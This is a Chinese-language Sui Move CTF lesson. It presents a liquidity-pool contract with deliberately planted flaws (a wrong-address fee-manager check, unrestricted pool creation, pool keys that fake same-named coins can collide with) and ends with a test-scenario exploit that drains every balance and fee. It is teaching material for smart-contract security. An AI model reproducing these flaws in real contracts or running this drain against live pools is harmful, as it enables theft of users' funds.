实践:多步骤综合挑战

题目描述

在本次Sui Move CTF课程的最后,你将结合前面学习到的内容尝试破解一个综合多个漏洞的CTF题目。你面对一个 Sui Move 实现的流动性池合约,合约允许用户在两组代币对之间进行兑换(swap),并收取一定手续费。你的目标是通过分析合约逻辑,结合前面学习到的漏洞,利用合约提供的swap函数,最终让合约中所有代币余额与累计手续费之和为零(即所有资产被偷走),从而通过 is_solved 函数获得 flag。flag 会以事件形式输出,格式为 CTF{xxx}。

示例代码

以下是本次CTF task8题目的代码:


module task8::token1 {
    use sui::coin;
    public struct TOKEN1 has drop {}

    fun init(witness: TOKEN1, ctx: &mut TxContext) {
        let (mut treasury_cap, coin_metadata) = coin::create_currency(witness, 6, b"Token1", b"", b"", option::none(), ctx);
        transfer::public_transfer(treasury_cap, tx_context::sender(ctx));
        transfer::public_freeze_object(coin_metadata);
    }

}

module task8::token2 {
    use sui::coin;
    public struct TOKEN2 has drop {}

    fun init(witness: TOKEN2, ctx: &mut TxContext) {
        let (mut treasury_cap, coin_metadata) = coin::create_currency(witness, 6, b"Token2", b"", b"", option::none(), ctx);
        transfer::public_transfer(treasury_cap, tx_context::sender(ctx));
        transfer::public_freeze_object(coin_metadata);
    }

}

module task8::token3 {
    use sui::coin;
    public struct TOKEN3 has drop {}

    fun init(witness: TOKEN3, ctx: &mut TxContext) {
        let (mut treasury_cap, coin_metadata) = coin::create_currency(witness, 6, b"Token3", b"", b"", option::none(), ctx);
        transfer::public_transfer(treasury_cap, tx_context::sender(ctx));
        transfer::public_freeze_object(coin_metadata);
    }

}

module task8::token4 {
    use sui::coin;
    public struct TOKEN4 has drop {}

    fun init(witness: TOKEN4, ctx: &mut TxContext) {
        let (mut treasury_cap, coin_metadata) = coin::create_currency(witness, 6, b"Token4", b"", b"", option::none(), ctx);
        transfer::public_transfer(treasury_cap, tx_context::sender(ctx));
        transfer::public_freeze_object(coin_metadata);
    }

}

module task8::pool {
    use sui::coin::{Self, Coin};
    use task8::token1::{TOKEN1};
    use task8::token2::{TOKEN2};
    use task8::token3::{TOKEN3};
    use task8::token4::{TOKEN4};

    use sui::bag::{Self, Bag};
    use std::type_name::{Self, TypeName};
    use std::ascii::String;
    use std::ascii::{Self};


    use sui::balance::{Self, Balance};
    use sui::event;

    public struct AdminCap has key { id: UID }

    public struct Pools has key, store {
        id: UID,
        balance_bag: Bag,
        pool_bag: Bag,       
        fee_manager: address,
        cap_bag: Bag,
        free_mint: bool, 
    }

    public struct Pool has store, drop {
        token_1: TypeName,
        token_2: TypeName,
        reserve_1: u64,
        reserve_2: u64,
        fee: u64,
        fee_amount_1: u64,
        fee_amount_2: u64,
    }

    public struct PoolCap<phantom X, phantom Y> has key, store { 
        id: UID,
    }

    public struct Flag has copy, drop {
        user: address,
    }

    // init for admin
    fun init(ctx: &mut TxContext) {
        transfer::transfer(AdminCap {
            id: object::new(ctx)
        }, tx_context::sender(ctx));

        transfer::share_object(Pools {
            id: object::new(ctx),
            balance_bag: bag::new(ctx),
            pool_bag: bag::new(ctx),
            fee_manager: tx_context::sender(ctx),
            cap_bag: bag::new(ctx),
            free_mint: false
        });
    }

    public fun get_token<T>(pools: &mut Pools): &mut Balance<T> {
        let type_name = type_name::into_string(type_name::get<T>());
        if (!pools.balance_bag.contains(type_name)) {
            pools.balance_bag.add(type_name, balance::zero<T>());
        };
        &mut pools.balance_bag[type_name]
    }

    fun get_balance<T>(pools: &mut Pools): u64 {
        balance::value<T>(get_token(pools))
    }
    
    fun get_total_fee<X, Y>(pools: &mut Pools): u64 {
        get_pool<X, Y>(pools).fee_amount_1 + get_pool<X, Y>(pools).fee_amount_2
    }


    fun get_fee<X, Y>(pools: &mut Pools): u64 {
        get_pool<X, Y>(pools).fee
    }

    fun get_struct<X>(): String {
        let type_name = type_name::get<X>();
        let address_part = type_name.get_address().length();
        let module_part = type_name.get_module().length();
        let full = type_name.borrow_string().length();
        type_name.borrow_string().substring(address_part + module_part + 4, full)
    }

    fun get_pool_k<X, Y>(): String {
        let mut pool_k = get_struct<X>();
        ascii::append(&mut pool_k, get_struct<Y>());
        pool_k
    }

    public fun get_pool<X, Y>(pools: &mut Pools): &mut Pool {
        let pool = pools.pool_bag.borrow_mut<String, Pool>(
            get_pool_k<X, Y>(),
        );
        pool
    }


    ///////// admin functions
    public entry fun set_fee_manager(pools: &mut Pools, new_fee_manager: address, ctx: &mut TxContext) {
        assert!(tx_context::sender(ctx) == new_fee_manager, 0);
        pools.fee_manager = new_fee_manager;
    }

    public fun create_pool<X, Y>(pools: &mut Pools, fee: u64, token1: Coin<X>, token2: Coin<Y>, ctx: &mut TxContext): PoolCap<X, Y> {
        let add1 = token1.value();
        let add2 = token2.value();
        balance::join(get_token<X>(pools), coin::into_balance(token1));
        balance::join(get_token<Y>(pools), coin::into_balance(token2));

        let pool = Pool {
            token_1: type_name::get<X>(),
            token_2: type_name::get<Y>(),
            reserve_1: add1,
            reserve_2: add2,

            fee,
            fee_amount_1: 0,
            fee_amount_2: 0,
        };
        if (!pools.pool_bag.contains(get_pool_k<X, Y>())) {
        pools.pool_bag.add(
            get_pool_k<X, Y>(),
            pool
        );
        };

        PoolCap<X, Y> {
            id: object::new(ctx)
        }
    }

    public fun claim_fees<X, Y>(pools: &mut Pools, _pool_cap: &mut PoolCap<X, Y>, ctx: &mut TxContext): (Coin<X>, Coin<Y>) {
        assert!(tx_context::sender(ctx) == pools.fee_manager, 0);
        let fee_1 = if (get_pool<X, Y>(pools).fee_amount_1 > get_balance<X>(pools)) {
            get_balance<X>(pools)

        } else {
            get_pool<X, Y>(pools).fee_amount_1
        };
        let fee_2 = if (get_pool<X, Y>(pools).fee_amount_2 > get_balance<Y>(pools)) {
            get_balance<Y>(pools)

        } else {
            get_pool<X, Y>(pools).fee_amount_2
        };
        get_pool<X, Y>(pools).fee_amount_1 = 0;
        get_pool<X, Y>(pools).fee_amount_2 = 0;
        (
            coin::from_balance(balance::split(get_token<X>(pools), fee_1), ctx),
            coin::from_balance(balance::split(get_token<Y>(pools), fee_2), ctx)
        )

    }

    public entry fun init_pools(_cap: &mut AdminCap, pools: &mut Pools, token1: Coin<TOKEN1>, token2: Coin<TOKEN2>, token3: Coin<TOKEN3>, token4: Coin<TOKEN4>, ctx: &mut TxContext) {
        let cap1 = create_pool<TOKEN1, TOKEN2>(pools, 2, token1, token2, ctx);
        let cap2 = create_pool<TOKEN3, TOKEN4>(pools, 2, token3, token4, ctx);
        pools.cap_bag.add(
            get_pool_k<TOKEN1, TOKEN2>(),
            cap1
        );
        pools.cap_bag.add(
            get_pool_k<TOKEN3, TOKEN4>(),
            cap2
        );
    }

    ///////// public functions
    public fun get_amount_out<X, Y>(pools: &mut Pools, amount_in: u64, order: bool): (u64, u64) {
        let pool = get_pool<X, Y>(pools);

        let (reserve_in, reserve_out)  = 
            if (order) {
                (pool.reserve_1, pool.reserve_2)
            } else {
                (pool.reserve_2, pool.reserve_1)
            };

        let fees_amount = amount_in * get_fee<X, Y>(pools) / 100;
        let amount_in = amount_in - fees_amount;
        let amount_out = amount_in * reserve_out / (reserve_in + amount_in);
        (amount_out, fees_amount)
    }

    public fun swap_a_2_b<X, Y>(
        pools: &mut Pools, from: &mut Coin<X>, ctx: &mut TxContext): Coin<Y> {
        let amount_in = from.value();
        let (mut amount_out, fee) = get_amount_out<X, Y>(
            pools,
            amount_in,
            true,
        );
        if (amount_out > get_pool<X, Y>(pools).reserve_2) {
            amount_out = get_pool<X, Y>(pools).reserve_2;
        };

        if (amount_out > get_balance<Y>(pools)) {
            amount_out = get_balance<Y>(pools)
        };

        let store = get_token<X>(pools);
        balance::join(store, coin::into_balance(
            coin::split(from, amount_in, ctx)
        ));
        get_pool<X, Y>(pools).fee_amount_1 = get_pool<X, Y>(pools).fee_amount_1 + fee;
        get_pool<X, Y>(pools).reserve_1 = get_pool<X, Y>(pools).reserve_1 + amount_in - fee;
        get_pool<X, Y>(pools).reserve_2 = get_pool<X, Y>(pools).reserve_2 - amount_out;

        coin::from_balance(balance::split(get_token<Y>(pools), amount_out), ctx)
    }

    public fun swap_b_2_a<X, Y>(
        pools: &mut Pools, from: &mut Coin<Y>, ctx: &mut TxContext): Coin<X> {
        let amount_in = from.value();
        let (mut amount_out, fee) = get_amount_out<X, Y>(
            pools,
            amount_in,
            false
        ); 

        if (amount_out > get_pool<X, Y>(pools).reserve_2) {
            amount_out = get_pool<X, Y>(pools).reserve_2;
        };

        if (amount_out > get_balance<X>(pools)) {
            amount_out = get_balance<X>(pools)
        };

        let store = get_token<Y>(pools);
        balance::join(store, coin::into_balance(
            coin::split(from, amount_in, ctx)
        ));

        get_pool<X, Y>(pools).fee_amount_2 = get_pool<X, Y>(pools).fee_amount_2 + fee;
        get_pool<X, Y>(pools).reserve_2 = get_pool<X, Y>(pools).reserve_2 + amount_in - fee;
        get_pool<X, Y>(pools).reserve_1 = get_pool<X, Y>(pools).reserve_1 - amount_out;


        coin::from_balance(balance::split(get_token<X>(pools), amount_out), ctx)
    }

    // check whether you can get the flag
    public entry fun is_solved(pools: &mut Pools, ctx: &mut TxContext) {
        let sum = get_balance<TOKEN1>(pools) + get_balance<TOKEN2>(pools) + get_balance<TOKEN3>(pools) + get_balance<TOKEN4>(pools);
        let fee_sum = get_total_fee<TOKEN1, TOKEN2>(pools) + get_total_fee<TOKEN3, TOKEN4>(pools);
        assert!(sum + fee_sum == 0, 0);
        event::emit(Flag { user: tx_context::sender(ctx) })
    }


    #[test_only]
    public fun init_for_testing(ctx: &mut TxContext) {
        init(ctx); 
    }

}

任务目标

理解代码,找到代码中隐藏的多个漏洞,构造攻击链,耗尽pool中的所有代币与手续费。

    public entry fun is_solved(pools: &mut Pools, ctx: &mut TxContext) {
        let sum = get_balance<TOKEN1>(pools) + get_balance<TOKEN2>(pools) + get_balance<TOKEN3>(pools) + get_balance<TOKEN4>(pools);
        let fee_sum = get_total_fee<TOKEN1, TOKEN2>(pools) + get_total_fee<TOKEN3, TOKEN4>(pools);
        assert!(sum + fee_sum == 0, 0);
        event::emit(Flag { user: tx_context::sender(ctx) })
    }

题目中的漏洞

漏洞1. 权限控制漏洞

设置费用管理者存在权限漏洞,函数中检查了new_fee_manager是否是tx_context::sender,正确的应该是检查pools.fee_manager是否是pools.fee_manager,这里的权限检查漏洞可以让我们直接成为pools费用管理者。

    ///////// admin functions
    public entry fun set_fee_manager(pools: &mut Pools, new_fee_manager: address, ctx: &mut TxContext) {
        assert!(tx_context::sender(ctx) == new_fee_manager, 0);
        pools.fee_manager = new_fee_manager;
    }

漏洞2. 权限检查绕过

create_pool函数没有权限控制,且没有对创建的pool进行重复性检查,意味着我们可以重复创建pool,拿到对应的X,Y pool的PoolCap

    public fun create_pool<X, Y>(pools: &mut Pools, fee: u64, token1: Coin<X>, token2: Coin<Y>, ctx: &mut TxContext): PoolCap<X, Y> {
        let add1 = token1.value();
        let add2 = token2.value();
        balance::join(get_token<X>(pools), coin::into_balance(token1));
        balance::join(get_token<Y>(pools), coin::into_balance(token2));

        let pool = Pool {
            token_1: type_name::get<X>(),
            token_2: type_name::get<Y>(),
            reserve_1: add1,
            reserve_2: add2,

            fee,
            fee_amount_1: 0,
            fee_amount_2: 0,
        };
        if (!pools.pool_bag.contains(get_pool_k<X, Y>())) {
        pools.pool_bag.add(
            get_pool_k<X, Y>(),
            pool
        );
        };

        PoolCap<X, Y> {
            id: object::new(ctx)
        }
    }

漏洞3. 创建池期间使用的种子并不唯一

合约中存储的pool key是根据X coin和Y coin的结构体名来生成,这意味着这里生成的种子并不唯一,可以通过使用同名的X coin 和Y coin,也就是伪造的coin来攻击

    fun get_struct<X>(): String {
        let type_name = type_name::get<X>();
        let address_part = type_name.get_address().length();
        let module_part = type_name.get_module().length();
        let full = type_name.borrow_string().length();
        type_name.borrow_string().substring(address_part + module_part + 4, full)
    }

    fun get_pool_k<X, Y>(): String {
        let mut pool_k = get_struct<X>();
        ascii::append(&mut pool_k, get_struct<Y>());
        pool_k
    }

    public fun get_pool<X, Y>(pools: &mut Pools): &mut Pool {
        let pool = pools.pool_bag.borrow_mut<String, Pool>(
            get_pool_k<X, Y>(),
        );
        pool
    }

攻击链构造

我们的目的是掏空pool的所有资金和手续费,我们可以通过漏洞1和漏洞2成为协议的费用管理者并且拿到poolcap,就能够提取协议的手续费。通过漏洞3可以通过伪造的Coin把协议的资金掏空。

    public fun claim_fees<X, Y>(pools: &mut Pools, _pool_cap: &mut PoolCap<X, Y>, ctx: &mut TxContext): (Coin<X>, Coin<Y>) {
        assert!(tx_context::sender(ctx) == pools.fee_manager, 0);
        let fee_1 = if (get_pool<X, Y>(pools).fee_amount_1 > get_balance<X>(pools)) {
            get_balance<X>(pools)

        } else {
            get_pool<X, Y>(pools).fee_amount_1
        };
        let fee_2 = if (get_pool<X, Y>(pools).fee_amount_2 > get_balance<Y>(pools)) {
            get_balance<Y>(pools)

        } else {
            get_pool<X, Y>(pools).fee_amount_2
        };
        get_pool<X, Y>(pools).fee_amount_1 = 0;
        get_pool<X, Y>(pools).fee_amount_2 = 0;
        (
            coin::from_balance(balance::split(get_token<X>(pools), fee_1), ctx),
            coin::from_balance(balance::split(get_token<Y>(pools), fee_2), ctx)
        )

    }

题解

具体的解题步骤如下:我们创建了假的TOKEN1TOKEN2TOKEN3TOKEN4,然后调用swap_b_2_aswap_a_2_b函数来耗尽pool(漏洞3),调用set_fee_manager函数将自己设置为fee_manager(漏洞1),通过调用create_pool函数拿到poolcap(漏洞2),提取协议费用,最终拿到了flag。

        // ////////////// user 
        let user = @0x1235;
        test_scenario::next_tx(scenario, user);
        {
            let mut pools = test_scenario::take_shared<Pools>(scenario);
            
            let mut in = mint_for_testing<TOKEN2>(8000, test_scenario::ctx(scenario));
            let out = swap_b_2_a<T_TOKEN1, TOKEN2>(&mut pools, &mut in, test_scenario::ctx(scenario));

            transfer::public_transfer(out, user);
            transfer::public_transfer(in, user);
   
            let mut in = mint_for_testing<TOKEN1>(8000, test_scenario::ctx(scenario));
            let out = swap_a_2_b<TOKEN1, T_TOKEN2>(&mut pools, &mut in, test_scenario::ctx(scenario));
            transfer::public_transfer(out, user);
            transfer::public_transfer(in, user);

            set_fee_manager(&mut pools, user, test_scenario::ctx(scenario));
            let mut cap = create_pool<T_TOKEN1, T_TOKEN2>(&mut pools, 0, coin::zero<T_TOKEN1>(test_scenario::ctx(scenario)), coin::zero<T_TOKEN2>(test_scenario::ctx(scenario)), test_scenario::ctx(scenario));
            let (x, y) = claim_fees<T_TOKEN1, T_TOKEN2>(&mut pools, &mut cap, test_scenario::ctx(scenario));
            transfer::public_transfer(x, user);
            transfer::public_transfer(y, user);
            transfer::public_transfer(cap, user);

            test_scenario::return_shared(pools);
        };

        test_scenario::next_tx(scenario, user);
        {
            let mut pools = test_scenario::take_shared<Pools>(scenario);
            let mut in = mint_for_testing<TOKEN4>(8000, test_scenario::ctx(scenario));
            let out = swap_b_2_a<T_TOKEN3, TOKEN4>(&mut pools, &mut in, test_scenario::ctx(scenario));
            transfer::public_transfer(out, user);
            transfer::public_transfer(in, user);
   
            let mut in = mint_for_testing<TOKEN3>(8000, test_scenario::ctx(scenario));
            let out = swap_a_2_b<TOKEN3, T_TOKEN4>(&mut pools, &mut in, test_scenario::ctx(scenario));
            transfer::public_transfer(out, user);
            transfer::public_transfer(in, user);

            set_fee_manager(&mut pools, user, test_scenario::ctx(scenario));
            let mut cap = create_pool<T_TOKEN3, T_TOKEN4>(&mut pools, 0, coin::zero<T_TOKEN3>(test_scenario::ctx(scenario)), coin::zero<T_TOKEN4>(test_scenario::ctx(scenario)), test_scenario::ctx(scenario));
            let (x, y) = claim_fees<T_TOKEN3, T_TOKEN4>(&mut pools, &mut cap, test_scenario::ctx(scenario));
            transfer::public_transfer(x, user);
            transfer::public_transfer(y, user);
            transfer::public_transfer(cap, user);


            test_scenario::return_shared(pools);
        };

        let user = @0x1235;
        test_scenario::next_tx(scenario, user);
        {
            let mut pools = test_scenario::take_shared<Pools>(scenario);
            is_solved(&mut pools, test_scenario::ctx(scenario));
            test_scenario::return_shared(pools);
        };

        test_scenario::end(scenario_val);